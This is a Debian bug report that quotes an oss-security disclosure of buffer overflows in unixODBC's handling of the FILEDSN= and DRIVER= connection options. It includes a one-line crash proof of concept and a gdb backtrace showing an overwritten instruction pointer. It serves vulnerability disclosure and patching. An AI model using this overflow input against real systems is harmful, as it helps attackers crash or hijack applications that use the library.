Package: unixodbc
Version: 2.2.14p2-1
Severity: important
Tags: security
>From Felipe Pena in [oss-security] CVE id request: Multiple buffer overflow in
>unixODBC:
"""
Multiple buffer overflow in unixODBC
===========================
The library unixODBC doesn't check properly the input from FILEDSN=,
DRIVER= options in the DSN,
which causes buffer overflow when passed to the SQLDriverConnect() function.
The unixODBC maintainer has been notified about the issue.
Version affected
============
FILEDSN= as of 2.0.10
DRIVER= as of 2.3.1
PoC
===
$ ./poc "FILEDSN=$(python -c "print 'A'*10000")"
Segmentation fault
(gdb) bt
#0 0x00007ffff7bc8c81 in SQLReadFileDSN (pszFileName=<value optimized
out>, pszAppName=<value optimized out>, pszKeyName=<value optimized
out>,
pszString=<value optimized out>, nString=<value optimized out>,
pnString=<value optimized out>) at SQLReadFileDSN.c:207
#1 0x4141414141414141 in ?? ()
CREDITS
=======
This bug was discovered by Felipe Pena.
BugSec Team - http://www.bugsec.com.br/
"""
-- System Information:
Debian Release: 6.0.5
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.32-5-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL
set to en_US.UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages unixodbc depends on:
ii libc6 2.11.3-3 Embedded GNU C Library: Shared lib
ii libltdl7 2.2.6b-2 A system independent dlopen wrappe
ii libreadline6 6.1-3 GNU readline and history libraries
ii odbcinst1debian2 2.2.14p2-1 Support library for accessing odbc
unixodbc recommends no packages.
Versions of packages unixodbc suggests:
pn libmyodbc <none> (no description available)
pn odbc-postgresql <none> (no description available)
pn tdsodbc <none> (no description available)
pn unixodbc-bin <none> (no description available)
-- no debconf information
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
